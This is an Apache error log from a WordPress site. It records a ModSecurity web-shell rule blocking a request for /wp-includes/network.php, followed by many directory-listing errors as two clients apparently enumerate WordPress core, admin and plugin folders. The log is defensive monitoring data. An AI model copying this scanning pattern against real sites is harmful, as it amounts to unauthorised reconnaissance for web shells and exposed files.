[Sat Feb 28 17:57:51.879956 2026] [:error] [pid 49763:tid 49771] [client 173.239.214.180:27375] [client 173.239.214.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/network.php"] [unique_id "aaK8H7THSOG_yf2PpqE3YQAAAcU"]
[Sat Feb 28 17:58:02.453162 2026] [autoindex:error] [pid 52460:tid 52467] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:02.719855 2026] [autoindex:error] [pid 52460:tid 52463] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:02.956794 2026] [autoindex:error] [pid 52460:tid 52474] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:03.189689 2026] [autoindex:error] [pid 52460:tid 52470] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:05.503909 2026] [autoindex:error] [pid 52460:tid 52464] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:05.740731 2026] [autoindex:error] [pid 52460:tid 52470] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:06.015910 2026] [autoindex:error] [pid 52460:tid 52479] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:06.247116 2026] [autoindex:error] [pid 52460:tid 52471] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:06.487891 2026] [autoindex:error] [pid 52460:tid 52468] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:06.828604 2026] [autoindex:error] [pid 52460:tid 52463] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:07.276483 2026] [autoindex:error] [pid 52460:tid 52470] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:08.990218 2026] [autoindex:error] [pid 52460:tid 52464] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:09.220614 2026] [autoindex:error] [pid 52460:tid 52478] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:12.879854 2026] [autoindex:error] [pid 52460:tid 52470] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:13.437629 2026] [autoindex:error] [pid 52460:tid 52475] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:13.683930 2026] [autoindex:error] [pid 52460:tid 52485] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:13.919297 2026] [autoindex:error] [pid 52460:tid 52468] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:17.417101 2026] [autoindex:error] [pid 52460:tid 52481] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:19.268964 2026] [autoindex:error] [pid 52460:tid 52475] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:22.651114 2026] [autoindex:error] [pid 52460:tid 52487] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:22.887704 2026] [autoindex:error] [pid 52460:tid 52469] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:23.138331 2026] [autoindex:error] [pid 52460:tid 52464] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:33.282677 2026] [autoindex:error] [pid 52460:tid 52472] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:35.419260 2026] [autoindex:error] [pid 52460:tid 52475] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:35.655371 2026] [autoindex:error] [pid 52460:tid 52486] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:36.399413 2026] [autoindex:error] [pid 52460:tid 52471] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:36.639741 2026] [autoindex:error] [pid 52460:tid 52477] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:36.950814 2026] [autoindex:error] [pid 52460:tid 52468] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:58:43.706646 2026] [autoindex:error] [pid 52460:tid 52479] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:59:27.861568 2026] [autoindex:error] [pid 52460:tid 52483] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:59:28.110377 2026] [autoindex:error] [pid 52460:tid 52487] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:59:28.360117 2026] [autoindex:error] [pid 52460:tid 52482] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:59:28.582685 2026] [autoindex:error] [pid 52460:tid 52484] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:59:32.372597 2026] [autoindex:error] [pid 52460:tid 52477] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:59:32.621191 2026] [autoindex:error] [pid 52460:tid 52482] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:59:34.484886 2026] [autoindex:error] [pid 52460:tid 52470] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:59:36.417582 2026] [autoindex:error] [pid 52460:tid 52471] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:59:36.635819 2026] [autoindex:error] [pid 52460:tid 52470] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:59:36.958274 2026] [autoindex:error] [pid 52460:tid 52480] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:59:39.134540 2026] [autoindex:error] [pid 52460:tid 52463] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:59:39.421714 2026] [autoindex:error] [pid 52460:tid 52470] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:59:39.687810 2026] [autoindex:error] [pid 52460:tid 52470] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 17:59:39.909513 2026] [autoindex:error] [pid 52460:tid 52485] [client 173.239.214.180:49783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 18:00:22.348653 2026] [autoindex:error] [pid 39184:tid 39243] [client 209.87.169.164:27579] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 18:00:39.906315 2026] [autoindex:error] [pid 39184:tid 39236] [client 209.87.169.164:27579] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 18:00:47.162414 2026] [autoindex:error] [pid 39184:tid 39242] [client 209.87.169.164:27579] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 18:00:47.647724 2026] [autoindex:error] [pid 39184:tid 39230] [client 209.87.169.164:27579] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 18:00:55.002217 2026] [autoindex:error] [pid 39184:tid 39234] [client 209.87.169.164:27579] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 18:00:55.235921 2026] [autoindex:error] [pid 39184:tid 39222] [client 209.87.169.164:27579] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 18:00:55.469775 2026] [autoindex:error] [pid 39184:tid 39221] [client 209.87.169.164:27579] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 18:00:55.721583 2026] [autoindex:error] [pid 39184:tid 39228] [client 209.87.169.164:27579] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 18:00:55.959566 2026] [autoindex:error] [pid 39184:tid 39232] [client 209.87.169.164:27579] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 18:00:56.210430 2026] [autoindex:error] [pid 39184:tid 39237] [client 209.87.169.164:27579] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 18:00:56.452434 2026] [autoindex:error] [pid 39184:tid 39233] [client 209.87.169.164:27579] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 18:00:56.697629 2026] [autoindex:error] [pid 39184:tid 39219] [client 209.87.169.164:27579] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 18:00:56.962300 2026] [autoindex:error] [pid 39184:tid 39239] [client 209.87.169.164:27579] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 18:01:26.783769 2026] [autoindex:error] [pid 39184:tid 39240] [client 209.87.169.164:27579] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
